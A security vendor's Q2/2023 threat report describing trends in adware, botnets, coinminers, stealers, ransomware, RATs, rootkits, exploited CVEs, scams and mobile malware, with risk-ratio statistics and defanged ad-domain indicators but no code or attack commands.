In the previous quarter, DealPly adware established itself as a leading force within the adware landscape with a 15% share. The map below shows that DealPly’s risk ratio has increased globally by almost twice as much compared to Q1/2023.

Map showing global risk ratio for DealPly adware in Q2/2023

In contrast to the rise of DealPly, the risk of all adware strains is about half as much as Q1/2023. The significant increase in adware activity we observed in East Asia, namely Japan, Taiwan, and China, in Q1/2023 has stabilized with the overall average of Q2/2023. The complete risk ratio is illustrated in the map below. 

Map showing the global risk ratio for Adware in Q2/2023

Adware Share 

DealPly remains the undisputed market leader, holding a substantial 31% share. Smaller shares are allocated to other adware strains as follows: 

  • RelevantKnowledge (7%) 
  • BrowserAssistant (3%) 
  • Neoreklami (2%) 

Nevertheless, lesser-known adware strains managed to capture a significant 32% market share in Q2/2023. The prevailing variant of these adware strains typically operates by intercepting user clicks on random hyperlinks and substituting them with redirects to advertising websites. 

The following table provides a distribution of ad domains observed in the wild during the current and previous quarters. It is evident that ad domains are rotated dynamically each quarter to evade detection by ad blockers and other detection systems. 

oovaufty[.]com (30%)oovaufty[.]com (16%)
ptuvauthauxa[.]com (23%)ptuvauthauxa[.]com (19%)
saumeechoa[.]com (15%)saumeechoa[.]com (53%)
ninoglostoay[.]com (9%)ninoglostoay[.]com (7%)
caumausa[.]com (5%)
applabzzeydoo[.]com (3%)
ad2upapp[.]com (2%)ad2upapp[.]com (1%)
Representation of ad servers in the wild for Q2/2023 and Q1/2023

Adware tries to unobtrusively redirect users to websites that provide free software downloads or other products but also to dangerous content. In a separate section, we will overview the most common Web-based Adware in Q2/2023.

Martin Chlumecký, Malware Researcher


Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks.

We have continued to track the activities of notorious threat group NoName057(16), notably their DDosia project. The release of our latest blogpost on the threat coincided with an update of DDosia’s protocol. Just a day after the release, the protocol was updated to include encryption.  

The most notable bot attack of Q2/2023 was the one following the Wagner Group rebellion. Just hours after the start of the rebellion, DDosia released a configuration targeting Wagner Group webpages which were up for almost a day. In contrast to usual operations, this attack wasn’t announced on the project’s Telegram channel. It is also worth noting that this attack was unsuccessful, and the targeted webpages were accessible throughout the DDoS attack without restrictions.  

While it may seem unexpected for a Russian group to choose a Russian target, it seems to be well within their usual modus operandi which follows pro-government Russian interests. As for the group’s development, it seems that the project’s growth is slowly reaching its plateau with the current number of volunteers being around 11,500. 

The size of DDosia community over last 4 months.

The overall botnet landscape to be rather stable, with a slight decline in risk ratio and no significant changes in the family distribution in comparison to the previous quarter. The only significant outlier is the MyKings family that has increased in activity by circa 20%.

Global risk ratio in Avast’s user base regarding botnets in Q2/2023 

Adolf Středa, Malware Researcher


Coinminers are programs that use a device’s hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victim’s computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, it’s important to follow our guidelines.

In the ever-evolving landscape of cryptocurrency mining, coinminers have been facing a continuous decline in their activity, a trend that has persisted over time. When compared to Q1/2023, we observed a 4% decrease in the risk ratio.

This sustained decline can be largely attributed to the growing adoption of proof-of-stake (PoS) protocols by various cryptocurrencies. PoS is considered a more energy-efficient and environmentally friendly alternative to the traditional proof-of-work (PoW) consensus mechanism used in coinmining.

Global risk ratio in Avast’s user base in regard to coinminers in Q2/2023 

In Q2/2023, users in Serbia faced the highest risk of encountering a coinminer once again, with a risk ratio of 5.80%. Following closely were Montenegro with 4.58%, Madagascar with 3.76%, and Bosnia and Herzegovina with a risk ratio of 3.17%.

Global risk ratio for coinminers in Q2/2023 

Coinminer XMRig saw an increase in activity during Q2/2023, with its market share rising by 13% to reach 18.13%. Additionally, FakeKMSminer and VMiner became more prevalent, with their market shares increasing by 16% and 47% respectively, now holding 2.19% and 1.92% of the market each. Conversely, CoinBitMiner, CoinHelper, and NeoScrypt experienced declines of 7%, 13%, and 3% respectively, each holding roughly 1% of the market. Web miners also lost 2% of the market share, though they still dominate as the most prevalent form of coinmining, accounting for 65% of the market. 

The most common coinminers in Q2/2023 were: 

  • Web miners (various strains) 
  • XMRig 
  • FakeKMSminer 
  • VMiner 
  • CoinBitMiner 
  • CoinHelper 
  • NeoScrypt

Jan Rubín, Malware Researcher

Information Stealers 

Information stealers are dedicated to stealing anything of value from the victim’s device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents. 

During Q2/2023, information stealers experienced a 14% decrease in activity, mainly due to Raccoon Stealer and RedLine. These two saw their market shares drop by 31% and 36%, respectively. 

Global risk ratio in Avast’s user base in regard to information stealers in Q2/2023 

Looking at the countries where we have more significant userbase, the highest risk of information stealer infections currently exists in Pakistan, Turkey, and Egypt, with risk ratios of 2.62%, 2.23%, and 2.22%, respectively. Surprisingly, during Q2/2023, there was a decrease in activity across almost every region, except for Switzerland (+7% risk ratio), Bulgaria (+2%), and Japan (+1%). 

Map showing global risk ratio for information stealers in Q2/2023 

Based on our data, AgentTesla holds the title of the most prevalent information stealer, with a market share of 27%. It experienced a noteworthy increase in activity during Q2/2023, boosting its market share by 26%. FormBook (11% market share), Fareit (5%), and Lokibot (5%) also saw their minor market shares rise. On the other hand, ViperSoftX maintained its levels with a slight 2% decrease in activity, now holding a 2.2% market share. As for Raccoon Stealer and RedLine, they currently hold market shares of 7% and 6%, respectively. 

The most common information stealers in Q2/2023 were: 

  • AgentTesla 
  • FormBook  
  • Raccoon Stealer 
  • RedLine  
  • Fareit 
  • Lokibot 
  • ViperSoftX 

Raccoon Stealer is constantly evolving. The malicious actors responsible for this threat have recently integrated Signal Desktop into their configuration, meaning they can now steal data from the popular communicator’s desktop clients, expanding their reach and potential impact on victims’ privacy and security. 

Additionally, new information stealers have entered the scene. One such stealer is Meduza Stealer used for data theft, compromising information such as login credentials, browsing history, bookmarks, crypto wallets, and more. Another stealer is Mystic Stealer that steals various information from infected systems, including computer details, user geolocation, web browser data, and cryptocurrency wallet information. 

Clippers – another type of information stealer – are malware designed for clipboard hijacking and manipulation, usually focusing on cryptocurrency theft. They operate by monitoring the victim’s clipboard for copied wallet addresses. When a clipper detects a cryptocurrency address being copied, the malicious code discreetly swaps it with the attacker’s address. As a result, unsuspecting victims end up sending their digital assets to the attacker’s wallet instead of the intended recipient, leading to financial losses. 

Laplas Clipper is one of the clippers that has gained popularity during Q2/2023. According to our data, it increased its market share by 224% compared to the previous quarter, now holding 1.49% of the entire information stealers market share. 

Jan Rubín, Malware Researcher


Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victim’s PC. Those files become unusable without decrypting them first. In order to decrypt the files, attackers demand money, “ransom”, hence the term ransomware. 

The overall risk ratio in ransomware declined slightly in Q2/2023 compared to the previous quarter: 

Ransomware spreading in 2023

In Q2, countries with the highest prevalence of ransomware threats were:

  1. Mozambique
  2. Papua New Guinea
  3. Afghanistan
  4. Angola
  5. Ghana
  6. Republic of Korea
Map showing global risk ratio for ransomware in Q2/2023 

The most prevalent ransomware strain in our userbase for the quarter were: 

  1. WannaCry
  2. STOP
  3. Magniber
  4. GlobeImposter
  5. Hidden Tear
  6. Target Company
  7. LockBit

Vulnerabilities on the Rise 

A number of software vulnerabilities were used during the ransomware attacks in Q2/2023. Those included vulnerabilities in a widely used 3rd party software or leveraging of a vulnerable driver. 

The most havoc in the ransomware world was caused by the CVE-2023-34362 vulnerability in the Progress MOVEit Transfer software. Unpatched versions of the MOVEit Transfer suffer from an SQL-injection vulnerability that allowed for unauthorized access to the MOVEit database as stated by the security advisory from Progress. Progress has since issued a patch to fix the vulnerability. 

Another software vulnerability that was abused by threat actors to gain unprivileged access to the companies was in PaperCut, a print management software. As explained in the security advisory, there is a remote code execution (RCE) vulnerability, allowing to run a code on the PaperCut server without authentication. This vulnerability was abused by multiple ransomware gangs, such as Cl0p, LockBit and Bl00dy

Papercut has since fixed these vulnerabilities. Users running PaperCut MF and PaperCut NG versions lower than 20.1.7, 21.2.11, and 22.0.9 should update their systems immediately to close this attack surface. 

Additionally, the BlackCat ransomware was observed to be using a malicious driver to terminate running security software. A driver is a software component that runs in the very core of an operating system (in the kernel). As such, it needs to run with the highest permissions that are available in the operating system. 

The Windows operating system protects its eco-system by only allowing drivers that are signed by a trusted certificate. But there is a catch: the driver used by the BlackCat ransomware is signed by a stolen, valid certificate. Such driver, even if the certificate was revoked, can still be loaded by Windows 10 even with the latest updates: 

Akira Ransomware 

Akira is a strain of ransomware that emerged in March 2023. This ransomware is written in the modern C++, which promises an elevated level of compatibility across multiple operating systems. It is no surprise that a Linux version appeared soon after the initial launch. Apart from replacing MS CryptoAPI (which is Windows-specific) by Crypto++ (which is multi-platform), the code remained mostly unchanged, including the exclusion list that has no meaning on Linux operating system. The list is as follows: 

  • winnt 
  • temp  
  • thumb 
  • $Recycle.Bin  
  • System Volume Information  
  • Boot  
  • Windows  
  • Trend Micro 

Avast discovered a flaw in the cryptography schema of Akira and published a decryptor that can help victims recover their data. However, Akira authors reacted swiftly and released an updated version of their encryptor that is no longer decryptable. Newer versions of the Akira ransomware use different extension for encrypted files; the Avast decryptor can only decrypt files that have the .akira extension. Nonetheless, many of the victims of the original version were able to recover their data and restore their businesses with the help of the Avast decryption tool. 

New trend: Encryption-less ransomware 

Encrypting user files is not a simple task. A typical computer may have gigabytes of potentially large data files – movies, music, ISO images, virtual machines. Those files’ encryption takes a lot of CPU work and raises red flags for security solutions.  

To help bypass these security solutions, a new trend was observed by ZScaler researchers – encryption-less ransomware. Instead of data encryption, such ransomware focuses on pure data extortion. Attackers then threaten to publish the data, which can severely damage the victim’s reputation or expose their intellectual properties. 

Ladislav Zezula, Malware Researcher
Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)  

A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victim’s computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victim’s device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victim’s webcam and microphone. 

In Q2/2023, Remcos continued to increase its share of attacks among other RATs. We saw the largest increase In Europe, Canada, South Africa, Vietnam and Indonesia where it gained a little over 30 %, while in the rest of the world its share slightly declined. In overall Remcos gained 22% compared to Q1/2023. The overall risk ratio of RATs slightly decreased compared to Q1/2023, however, looking solely at numbers for this quarter the trend seems to be going up with April being the calmest month. 

Global risk ratio in Avast’s user base regarding RATs in Q2/2023 compared to Q1/2023 
Global risk ratio in Avast’s user base regarding RATs in Q2/2023 

Countries with the highest risk ratio for RATs are Afghanistan, Iraq, and Algeria with the most prevalent threats being HWorm and njRAT. The countries with the highest increase in risk ratio are Bulgaria, Belgium and Serbia due to the activity of Remcos as mentioned above.

Map showing global risk ratio for information stealers in Q2/2023 

Another strain with considerable market share gain of 25% is Warzone which was mostly active in Greece, Bulgaria, Serbia and Croatia. Conversely, NetWire saw a drop of 60%, which is the largest decrease of all RAT Avast tracks. This may be related to the takedowns and arrests of cyber groups which happened in Q1/2023. 

The most prevalent remote access trojan strains in the Avast userbase are: 

  • HWorm 
  • Remcos 
  • njRAT 
  • Warzone 
  • AsyncRat 
  • QuasarRAT 
  • NanoCore 
  • Gh0stCringe 
  • DarkComet 
  • LimeRAT 

We have published a blog post detailing the workings and infection vector of HotRat. HotRat is a reimplementation of AsyncRat in .NET. This new rewritten version adds multiple new commands which are focused mostly on stealing data from victim machines. HotRat is being spread through pirated software such as products by Adobe and Microsoft, video games, and premium system and development tools like IObit Driver Booster, VMware Workstation or Revo Uninstaller Pro. 

Researchers from Avira also discovered a new RAT named ValleyFall which can log keyboard input, gather information from the victim’s system, download and execute other executables and more. According to their data, the United States is the most affected country. 

GobRAT is another RAT written in the programming language Go, capable of infecting Linux routers as reported by JPCERT/CC. It supports multiple architectures (ARM, MIPS, x86, x86-64). GobRAT has 22 commands available among them using reverse shell connection, running SOCKS5 proxy, attempting to log in to services running on other machines (sshd, Telnet, Redis, MYSQL, PostgreSQL) or carrying out DDOS attacks. 

Ondřej Mokoš, Malware Researcher


Rootkits are malicious software specifically designed to gain unauthorized access to a system and obtain high-level privileges. Rootkits can operate at the kernel layer of a system, which grants them deep access and control including the ability to modify critical kernel structures. This could enable other malware to manipulate system behavior and evade detection. 

As reported in Q1/2023, we observed a downward trend in rootkits beginning in Q4/2022. If we compare the previous and the current quarter, we continue to see a decline, with the rate slightly tapering off. The next quarter should show whether the downward trend of rootkits is long term. The chart below shows the rootkit activity for the previous three quarters. 

Rootkit risk ratio in Q4/2022 – Q2/2023 
Global risk ratio for rootkits in Q2/2023 

When considering the risk ratio on a country-by-country basis, China continues to hold the top position in terms of the magnitude of rootkit activities. 

For the first time, we monitored the downtrend trend of the R77RK rootkit activity, which dominated the landscape for nearly 5 quarters. In Q2/2023, the R77RK market share is only 18% whereas the share was 40% on average for the previous year. In addition, the last R77RK release was on June 6, 2023, but was only a minor bug fix. 

In Q1/2023, we noted a reduction in R77RK releases, which probably caused the drop in the prevalence of the R77RK activities in the wild. We therefore expect a gradual decrease in the activities of this rootkit in the next quarter based on the graph below, which shows a downward trend in activities from Q1/2023.

R77Rootkit risk ratio in Q4/2022 – Q2/2023 

The market share also includes approximately 25% of rootkits of unspecified strains which are used as kernel proxies for various activities with higher system privileges such as killing processes, modifying network communication, etc. 

Below you can see the complete list of clearly identified Windows rootkit strains, along with their corresponding market shares: 

  • Cerbu (7%) 
  • Alureon (7%) 
  • Perkesh (6%) 
  • ZeroAccess (3%) 

The market share for clearly identified rootkit strains is the same as the previous Q1/2023 quarter. 

In terms of Linux operating systems, we continue efficiently discovering and tracking new Linux Kernel rootkits, for instance, we were first detecting Chicken or NetHid. We saw an increase in rootkits using magic packets, for instance NetHid handles a UDP magic packet for executing a malicious user-mode application. 

As you already know from the Syslogk rootkit, we are tracking threat actors in the development stage allowing us to early detect advanced threats but also PoCs and tools that they use during development (e.g. kernel modules for testing). 

Martin Chlumecký, Malware Researcher
David Álvarez, Malware Analyst

Vulnerabilities and Exploits 

Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine. 

The May Patch Tuesday security update contained a patch for CVE-2023-29336, a local privilege escalation vulnerability discovered by Avast researchers in the wild. This is a kernel exploit that targets a vulnerability in win32k, a subsystem providing graphics functionality in the Windows kernel. We shared a proof-of-concept exploit with Microsoft along with our vulnerability report, but we did not make any technical details about this vulnerability public. However, fellow researchers from Numen Cyber analyzed the patch and published a great write-up and a proof-of-concept exploit

While the win32k subsystem has always been a frequent target of exploits, there are some encouraging signs that indicate this subsystem might be getting more secure. First of all, Microsoft developed a number of win32k-specific exploit mitigations and security improvements over the years. Many of these aimed to eliminate kernel address leaks and break known exploitation primitives. A less-known security improvement is that Microsoft turned many raw pointers into smart pointers. This effectively made the CVE-2023-29336 use-after-free condition not exploitable on Windows 11, as well as on the latest builds of Windows 10. Furthermore, browsers such as Chromium adopted a mitigation sometimes known as “win32k lockdown“, which reduces the browser sandbox attack surface and makes win32k exploits impossible for sandbox escape exploits. Last but not least, a small part of win32k got recently reimplemented in Rust. Since Rust is designed to be a memory-safe language, this should significantly reduce the number of memory corruption vulnerabilities in the reimplemented code. 

In our Q1/2023 threat report, we wrote about the Nokoyawa and Magniber ransomware groups using zero-day exploits to deploy ransomware. Q2/2023 continued this concerning trend, with the most notable event being the Cl0p ransomware group exploiting CVE-2023-34362, a remote code execution vulnerability in the MOVEit Transfer web application. This data theft-only attack hit an astounding number of organizations worldwide, with many of them getting their stolen data published on the Cl0p leak site. 

In June, Kaspersky reported it was impacted by an APT attacker exploiting iOS devices, dubbing the attack Operation Triangulation. The exploits were delivered through an iMessage attachment in a zero-click manner. Kaspersky managed to recover three vulnerabilities: CVE-2023-32434, CVE-2023-32435, and CVE-2023-38606. The former two got patched by Apple in June and the third one was patched on July 24. As Eugene Kaspersky discussed in a blog, discovering such attacks is currently extremely hard due to the lack of visibility resulting from the closed nature of iOS. 

On top of these three CVEs in early July, Apple released a rapid security fix for a remote code execution vulnerability CVE-2023-37450 in WebKit, the browser engine powering the Safari browser. The vulnerability was reported by an anonymous researcher and might have been actively exploited. Apple later mentioned that the fix might affect the display of certain pages. Redhat’s support portal suggests that the vulnerability is related to processing of WebAssembly code. It is important to note that other apps using WebKit might be also affected by this vulnerability. 

Just after the end of Q2/2023, US CISA and the FBI published a joint advisory regarding a serious espionage attack by Chinese APT group Storm-0558 which was able to access tens of Outlook enterprise accounts. The attackers were able to obtain inactive MSA consumer signing key which they used to forge Azure AD access tokens. While the MSA key had been expired since 2021, the system still accepted the tokens signed by it. Researchers from Wiz later speculated, that the key also was trusted to sign OpenID tokens which are used for other Microsoft services such as Teams, SharePoint and OneDrive. Microsoft revoked the compromised key which mitigated the issue. 

There was a lot of activity surrounding vulnerabilities and exploits in Q2/2023 and at the beginning of Q3/2023. While some would say that there were many more reported vulnerabilities or with higher impact, it seems to be only a professional bias as we were not able to gather hard data that would show a general surge.  

Jan Vojtěšek, Malware Reseracher
Michal Salát, Threat Intelligence Director

Web Threats 


A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track various types of scams which are listed below. 

The Q1/2023 Threat Report shared that scams were the most prevalent threat type with a significant overall risk ratio of 7.7% and a 33% share among the other malware types.  In Q2/2023, the situation has further escalated, and the risk ration has more than doubled as demonstrated in the following chart. 

Scam risk ratio over the last three quarters 

Our telemetry saw a massive surge in scam attacks which began in April and lasted the duration of the quarter. Attackers have focused mostly on malvertising and malicious browser push notifications as a delivery mechanism for these scams – those are described below. As a result – scam attacks now form more than a half of all the blocked attacks in the Avast userbase

When we focus on targets of these attacks, we can see that scammers are not picky and target users across the world: 

Global risk ratio for scam in Q2/2023 

The countries most at risk of the scam attacks were Kosovo, Serbia, Bulgaria, and Slovakia. Furthermore, we’ve monitored one of the largest increases in scam risks in Vietnam (more than threefold), Argentina (+117%), Spain (+112%), France (+97%), Brazil (+95%), Mexico (+87%), Czech Republic (+81%), and in UK (+78%). 

The second most prevalent subtype after malvertising was dating scams (AKA romance scam), which also increased significantly quarter over quarter.  

Technical support scams followed in terms of overall prevalence but actually decreased slightly in Q2/2023 compared to the previous quarter.  

Finally, though not as prevalent as the other scam types, the extortion email scams had the most dramatic boost in Q2/2023 with a severalfold increase. We warned consumers of these emails in April 2023 and expect to see more of these types of threats in the future. 

Malicious Browser Push Notifications 

These types of notifications are a common browser feature that allow websites to send users push notifications. They can be pretty handy so, of course, scammers have found a way to exploit them. Attackers trick users into enabling these notifications so they can then be exploited. 

A trendy tactic of scam and adware authors is exploiting “push notifications” on web browsers. The user is forced to enable notifications in order to continue to the desired page – sometimes, a simple miss-click. The result is that the user is then redirected to various scam sites or bombarded with notifications for various offers and services that lure the user into clicking, for example popups that say the user’s computer is infected, enticing dating sites or incredible “deals” on products.  

Example of a malicious browser push notification blocked by Avast in Q2/2023 
Another example of a malicious browser push notification blocked by Avast in Q2/2023 

As previously mentioned, malicious push notifications were very prevalent in Q2/2023. The risk ratio was extremely high in African countries, such as Congo (18% risk ratio), as well as Japan (12%), Slovakia (11%), Spain (10%), and India (9%). 

Risk ratio for malicious browser push notifications in Q2/2023 

Based on our detection telemetry, this particular wave of attacks started in the middle of April and lasted through the entire quarter. 

Risk ratio for malicious browser push notifications in Q2/2023 

Dating Scams 

Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victim’s trust, with the ultimate goal of obtaining money or enough personal information to commit identity theft. 

There was a concerning and substantial rise in dating scams in Q2/2023 compared to the previous quarter. The surge is evident with a 39% increase, posing a significant threat to individuals seeking romantic connections online. 

In Q2/2023, we observed yet another variation of this scam, as attackers employed various methods of initial infection including deceptive emails, push notifications, and misleading advertisements. Once targeted, victims were redirected to seemingly legitimate dating sites populated with fake bot profiles. When individuals attempted to engage in conversation with these profiles, they were coerced into paying for a subscription, falling prey to the scam. 

Example of a dating scam lure site blocked in Q2/2023 
Example of a dating scam blocked in Q2/2023 
Example of a dating scam blocked in Q2/2023 

Tech Support Scams 

Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victims’ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victims’ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. It’s important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services. 

Luckily, one scam type was not on a rise in Q2/2023 – the technical support scam (TSS). The graph below demonstrates a notable decrease in TSS activity during this period compared to Q1/2023. This decline began at the end of April. 

Technical support scams in Q1/2023-Q2/2023 

Analyzing the data for Q2/2023, Japan emerges as the most active country with a TSS risk ratio of 3.63%, closely followed by Germany at 3.23%. The next top-performing countries are Canada with 2.60% and the USA with 2.51%, while Switzerland secures its place in the top five with a risk ratio of 2.18%. 

Refund and Invoice Scams 

Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. It’s important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud. 

In the digital world we live in, scam emails trying to trick us with fake invoices are becoming more common than ever. The people behind these scams are cunning – they play on our fears of forgetting to pay a bill, they use time pressure and talk about expired deadlines to make us panic, and they even tempt us with discounts to make the deal seem better. So, what’s the best way to avoid falling into this trap? Keep the lines of communication open with your accounting department. 

Example of an invoice scam – May 2023

Throughout Q2/2023, we observed a growing trend in the risk ratio of this threat type, with a notable peak in May.  

Invoice Scams in Q2/2023 

Looking at the map, we see that refund and invoice scams are mainly prevalent in the US and Australia, indicating a high level of activity in these regions. In contrast, Europe shows less activity. 

Global risk ratio for invoice scams in Q2/2023 


Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information. 

In Q2/2023, we observed a more stable, growing, trend in phishing compared to the previous quarter, with no drastic fluctuations. However, it is evident that activity has started to pick up again after experiencing a minor dip in April; this indicates the potential for an upward trajectory in the coming months. 

Phishing spreading in 2023 

Cybercriminals continuously refine their tactics and find new ways to exploit users. Vigilance and awareness are crucial to staying protected in the ever-evolving threat landscape. The increase in phishing incidents and the prevalence of smishing attacks serve as a reminder for consumers to be cautious of and skeptical about unsolicited messages and requests for personal information. 

Additionally, it’s noting that Google’s recent introduction of the “.zip” top-level domain (TLD) has led to an increase in domain registrations which can exploit strong similarities to a very popular archive file type. This development presents new challenges for organizations and cybersecurity professionals, emphasizing the need for continued vigilance and proactive cybersecurity measures. 

In conclusion, while the current quarter shows relative stability, the ever-present threat of cyber-attacks necessitates ongoing diligence and preparedness in safeguarding our digital presence.

One of the phishing campaigns blocked by Avast in Q2/2023 

Web-based Adware 

Web-based adware refers to malicious software or web pages that display unwanted advertisements in the form of pop-ups, banners, or redirects to third-party websites. Web-based adware can slow web browsing, potentially compromising user privacy and security. 

During Q2/2023, web-based adware continued to be widespread, featuring several noteworthy examples. Throughout this period, three primary adware types emerged as dominant – we will introduce each within this section. 

Fake Win 

One of the most popular ad types are “winning pages” with various winning prices. Adware authors often misuse the names of well-known brands to lure their victims. The modus operandi is always similar: the user spins the virtual roulette or clicks on some wheel of fortune. The first attempt is always unsuccessful, and the next attempt informs users about the win. However, the condition for the payment of the prize is registration and entering personal data, often including credit card data. The appearance of credibility is added by a chat on the same page, which declares that the processing of the information worked as expected. 

An example of a Fake win adware blocked by Avast in Q2/2023 

Adult Content 

One of the most significant forms of adware revolves around enticing users with adult content. Particularly prevalent within this category are adult chat rooms, which try to compel users to access an app or website where they can register and “enjoy flirting”. Victims ultimately end up on a website where most profiles are fake or even dangerous since attackers can use social engineering to extort money from users under the pretext of sending photos, paying travel expenses, etc. 

As shown in the animation below, even if the user indicates they are below the required legal age, they are still redirected to a site with adult content, which is always suspicious. 

An example of an adult-content adware blocked by Avast in Q2/2023 

Movies for “free” 

Web-based adware also hides under the promise of watching popular movies for free. The animation below shows that a hunting page plays a few seconds of intro and then asks for a click and registration, which usually leads to a page with some adware.

An example of a Fake free movie adware blocked by Avast in Q2/2023 

Alexej Savčin, Malware Analyst
Martin Chlumecký, Malware Researcher

Branislav Kramár, Malware Analyst
Matěj Krčma, Malware Analyst
Bohumír Fajt, Malware Analysis Team Lead
Jakub Křoustek, Malware Research Director

Mobile-Related Threats 

This quarter, we have witnessed several interesting developments in the mobile threat ecosystem. Notably, a spyware kit has surfaced on GitHub, adding to a series of spyware kits that have become publicly accessible in recent months.  Furthermore, there are indications of another spyware being utilized for state surveillance, boasting extensive access to victims’ personal information. 

In an interesting incident, a seemingly benign screen recorder in the Play Store turned malicious after an update delivered a spyware RAT. This technique of delayed malware delivery through updates was also used to drop banker malware under the guise of an AI text reader update.  

Finally, we observed a worrying trend of mobile loan applications with intrusive permissions using personal information to blackmail victims. 

Adware at the top again 

Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few. 

Mobile users had to contend with adware as the most prevalent threat in Q2/2023. Adware serves intrusive advertisements to the devices of its victims, raking in fraudulent advertising revenue. Hiding its presence is a core component in maintaining its ability to generate this revenue, hence adware generally hides its icon or otherwise masquerades itself. 

HiddenAds were the main strain of adware targeting users this quarter, closely followed by MobiDash and FakeAdBlockers. MobiDash continued its climb in popularity from last quarter with a 19% increase in targeted users, surpassing FakeAdBlockers which are down by 66%. All three strains have a similar modus operandi: displaying out-of-context full screen adverts to their victims while hiding their presence on the device. These are generally delivered through third-party app stores, pop-up messages on less reputable sites and malicious advertisements. Once installed, it may prove difficult to uninstall the apps due to their stealthy features. 

A repacked HiddenAds Minecraft clone app as seen on Play Store prior to its removal 

Of note is another HiddenAds campaign discovered on the Play Store that garnered tens of millions of downloads during its reign. This strain focused on abusing advertising SDKs to fake displaying adverts to users to gather revenue. Victims were able to play the Minecraft clone game while these malicious actions were going on in the background, without their knowledge.  

Threat actors continue to find new ways to sneak HiddenAds onto the Play Store, either through further obfuscation of malicious features or introducing said features in later updates.

Global risk ratio of mobile adware in Q1/2023-Q2/2023  

We see a decrease in adware targeted users compared to last quarter, which can likely be attributed to the sharp fall in FakeAdBlocker hits. This is balanced by the new HiddenAds campaign that snuck onto the Play Store this quarter.

Global risk ratio for mobile adware in Q2/2023  

Brazil, India and Argentina keep their top spots this quarter with the most affected users. This remains unchanged despite the decrease in overall users affected by adware and Brazil having 26% less affected users in Q2/2023. India, Indonesia and Pakistan have the highest risk ratio, meaning users are most likely to encounter adware in these countries. 

New Banker strains added to the fray 

Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victim’s device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information. 

This quarter brings with it continuations of established banker strains as well as some new strains that make use of established techniques with a few twists. A continuing trend, the overall prevalence of bankers is on the decline as observed over the last few quarters, even with new strains popping up every quarter. Cerberus/Alien maintains its top spot in our telemetry despite losing a significant 50% of its prevalence. Coper has moved up to 2nd place surpassing Hydra, another banker strain that lost over 50% of its victim base. 

Fake PDF editor app requesting file access permission, preparing the stage for the Anatsa banker delivery

Of note is a new dropper campaign on the Play Store which delivered the Anatsa banker. The US, UK, Germany and other European countries were the main targets of fake PDF reader applications that were used as droppers over the course of a few months. Initially benign, these apps were later updated to activate malicious components that delivered the banker in the form of an AI text reader ‘update’. With the ability to target and exfiltrate login information from over 600 financial institution apps, Anatsa also features full device takeover that allows it to perform transactions on behalf of the victim.  

Chameleon banker masquerading as the app requesting Accessibility permissions to initiate its malicious activity 

Another recent addition to the banker ecosphere is the Chameleon banker. Distributed through compromised websites and Discord servers, it appears to mainly target Poland and Australia. Disguised as ChatGPT, Bitcoin and Chrome among others, it uses keylogging and phishing HTML injection to steal credentials from its victims. Interestingly, it also features the ability to exfiltrate cookies when a victim attempts to access the popular Coinbase crypto exchange website, likely attempting to hijack the session to perform transactions on the victim’s behalf. Finally, the banker can detect uninstallation efforts by the victim and deletes itself if it anticipates the user getting suspicious about the banker app. 

Global risk ratio of mobile bankers in Q3/2022-Q2/2023  

We continue to observe a steady decline in the banker risk ratio in our telemetry for the last few quarters. This is despite new strains appearing in the banker ecosphere. It is likely that threat actors behind bankers are more focused on specific countries with more elaborate methods of banker delivery as well as tailored fake bank login pages. 

Global risk ratio for mobile bankers in Q2/2023  

Turkey holds its top place from last quarter with the most protected users and highest risk ratio while Spain, France, Brazil and Italy follow closely behind. We do observe a focus on EU countries and Australia through the newly discovered strains in the past few quarters. 

Spyware evolution & SpyLoans 

Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits. 

This quarter has witnessed a notable surge in the prevalence of spyware, with Spymax once again taking the lead. The landscape is further enriched by several new additions, including BouldSpy, which potentially has affiliations with state surveillance, an SDK titled SpinOK that features potential spyware functionalities, and DogeRAT, a spyware kit made accessible on GitHub.  

Alongside these new entries we observe an increased prevalence in SpyLoans, loan applications that extract personal information with intent to blackmail victims for money. 

DogeRAT’s promised features listed on its GitHub page 

